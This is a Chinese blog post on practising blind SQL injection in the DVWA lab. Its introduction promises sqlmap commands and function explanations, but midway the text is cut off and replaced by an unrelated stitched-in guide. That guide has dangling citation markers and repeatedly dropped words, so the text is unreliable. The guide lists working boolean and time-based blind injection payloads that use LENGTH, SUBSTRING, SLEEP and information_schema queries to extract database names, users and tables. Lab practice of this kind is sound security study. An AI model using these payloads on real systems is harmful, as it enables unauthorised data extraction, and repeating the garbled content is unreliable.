DVWA平台之sql盲注学习

本文介绍了DVWA平台上的SQL盲注概念,并通过实践展示了加引号与不加引号的区别。利用sqlmap工具,探讨了注入点检测、IFNULL和CAST函数的使用,以及sleep函数在延迟检测中的作用。最后列举了sqlmap的一些关键命令,如获取当前数据库名和表名。

本文参考了以下文章,这几篇都写得挺详细了,本文只是个人的整理以及实践:

1、http://www.myhack58.com/Article/html/3/7/2011/32223.htm

2、http://blog.chinaunix.net/uid-11582448-id-4432211.html

3、http://www.2cto.com/Article/201307/227449.html



盲注定义:

普通注入是会显示一些错误信息在页面上给攻击者判断,也就是说它会有多种情况,从而方便攻击者。而盲注则是只有两种情况,即TRUEFALSE,这样说并不是很准确,因为SQL查询无非就这两种情况,应该说是盲注的时候你只能得到一个正常的页面或者是什么页面的不存在,甚至你在查询表的记录过程也不会有显示。


关于更多sql盲注的信息,可百度,有各种注入方式,此处讨论DVWA平台的注入


实践:

先在sql查询中看两条语句:

在Windows系统下使用DVWA靶场进行SQL高级可按以下步骤操作: ### 环境准备 确保Windows系统已安装好DVWA靶场环境,包括Web服务器(如Apache)、数据库(如MySQL),并正确配置DVWA。 ### 确定入点 访问DVWA的登录页面,输入用户密码登录到DVWA主界面。选择SQL Injection (Blind)模块,在输入框中输入一些测试数据,观察页面响应。例如,输入 `1`,查看页面显示;再输入 `1'`,若页面出现异常或与输入 `1` 时的响应不同,可能存在入点。 ### 布尔型 - **判断数据库长度**:构造类似如下的SQL语句进行判断: ```sql 1' AND LENGTH(DATABASE()) = 5 -- ``` 依次改变数字,直到页面响应发生变化,从而确定数据库的长度。 - **逐位猜解数据库**:构造如下语句: ```sql 1' AND SUBSTRING(DATABASE(), 1, 1) = 'm' -- ``` 从第一位开始,依次改变字符位置,根据页面响应的变化(true/false)推断数据库的每一位字符 [^4]。 ### 时间型 - **判断数据库用户的第一位字符**:使用延时函数构造语句: ```sql 1' AND IF(SUBSTRING(user(), 1, 1) = 'r', SLEEP(5), 0) -- ``` 若页面响应延迟了5秒,说明第一位字符是 `r`;若立即响应,说明不是。 - **逐位猜解数据库用户**:依次改变位置,逐位判断用户的每一位字符 [^4]。 ### 猜解数据库中的 - **猜解数据库中的数量**:构造语句: ```sql 1' and (select count(table_name) from information_schema.tables where table_schema=database()) = 1 # ``` 依次增加数字进行判断,直到页面响应变化,确定的数量 [^5]。 - **猜解的长度**:使用如下语句: ```sql 1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1), 0, 1)) = 1 # ``` 依次增加数字进行判断,确定的长度 [^5]。 - **猜解的字符**:使用二分法构造语句: ```sql 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1), 0, 1)) > 97 # ``` 根据页面响应调整判断范围,逐位确定的字符 [^5]。 ### 猜解中的列名数据 类似上述的猜解方法,通过构造相应的SQL语句,利用布尔型或时间型,逐步猜解列名数据值。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值